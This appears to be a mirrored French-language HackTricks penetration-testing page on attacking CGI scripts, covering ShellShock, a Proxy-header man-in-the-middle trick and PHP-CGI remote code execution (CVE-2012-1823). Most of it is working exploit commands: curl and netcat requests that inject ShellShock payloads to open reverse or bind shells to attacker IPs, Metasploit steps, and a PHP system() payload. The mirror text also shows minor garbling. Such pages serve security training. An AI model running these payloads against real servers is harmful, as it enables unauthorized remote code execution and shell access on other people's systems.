mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
71 lines
5.0 KiB
Markdown
71 lines
5.0 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
# Information
|
|
|
|
Les **scripts CGI sont des scripts perl**, donc, si vous avez compromis un serveur capable d'exécuter des _**.cgi**_ scripts, vous pouvez **télécharger un shell inversé perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **changer l'extension** de **.pl** à **.cgi**, donner **les permissions d'exécution** \(`chmod +x`\) et **accéder** au shell inversé **depuis le navigateur web** pour l'exécuter.
|
|
Pour tester les **vulnérabilités CGI**, il est recommandé d'utiliser `nikto -C all` \(et tous les plugins\)
|
|
|
|
# **ShellShock**
|
|
|
|
**ShellShock** est une **vulnérabilité** qui affecte le shell de ligne de commande **Bash** largement utilisé dans les systèmes d'exploitation basés sur Unix. Elle cible la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des **variables d'environnement**, qui sont des valeurs nommées dynamiques qui impactent le fonctionnement des processus sur un ordinateur. Les attaquants peuvent exploiter cela en attachant **du code malveillant** aux variables d'environnement, qui est exécuté lors de la réception de la variable. Cela permet aux attaquants de compromettre potentiellement le système.
|
|
|
|
En exploitant cette vulnérabilité, la **page pourrait générer une erreur**.
|
|
|
|
Vous pourriez **trouver** cette vulnérabilité en remarquant qu'elle utilise une **ancienne version d'Apache** et **cgi_mod** \(avec le dossier cgi\) ou en utilisant **nikto**.
|
|
|
|
## **Test**
|
|
|
|
La plupart des tests consistent à faire écho de quelque chose et à s'attendre à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu'une page peut être vulnérable, recherchez toutes les pages cgi et testez-les.
|
|
|
|
**Nmap**
|
|
```bash
|
|
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
|
```
|
|
## **Curl \(réfléchi, aveugle et hors bande\)**
|
|
```bash
|
|
# Reflected
|
|
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
|
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
|
|
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
|
|
# Out-Of-Band Use Cookie as alternative to User-Agent
|
|
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
|
|
```
|
|
[**Shellsocker**](https://github.com/liamim/shellshocker)
|
|
```bash
|
|
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
|
```
|
|
## Exploiter
|
|
```bash
|
|
#Bind Shell
|
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
|
|
#Reverse shell
|
|
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
|
|
#Reverse shell using curl
|
|
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
|
|
#Reverse shell using metasploit
|
|
> use multi/http/apache_mod_cgi_bash_env_exec
|
|
> set targeturi /cgi-bin/admin.cgi
|
|
> set rhosts 10.1.2.11
|
|
> run
|
|
```
|
|
# **Proxy \(MitM pour les requêtes du serveur Web\)**
|
|
|
|
CGI crée une variable d'environnement pour chaque en-tête dans la requête http. Par exemple : "host:web.com" est créé comme "HTTP_HOST"="web.com"
|
|
|
|
Comme la variable HTTP_PROXY pourrait être utilisée par le serveur web. Essayez d'envoyer un **en-tête** contenant : "**Proxy: <IP_attacker>:<PORT>**" et si le serveur effectue une requête pendant la session. Vous pourrez capturer chaque requête faite par le serveur.
|
|
|
|
# Ancien PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
|
|
|
Fondamentalement, si cgi est actif et que php est "ancien" \(<5.3.12 / < 5.4.2\) vous pouvez exécuter du code.
|
|
Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur web sans envoyer de paramètres \(surtout sans envoyer le caractère "="\).
|
|
Ensuite, pour tester cette vulnérabilité, vous pourriez accéder par exemple à `/index.php?-s` \(notez le `-s`\) et **le code source de l'application apparaîtra dans la réponse**.
|
|
|
|
Ensuite, pour obtenir **RCE**, vous pouvez envoyer cette requête spéciale : `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête. Exemple :**
|
|
```bash
|
|
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
|
```
|
|
**Plus d'infos sur la vulnérabilité et les exploits possibles :** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
|
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|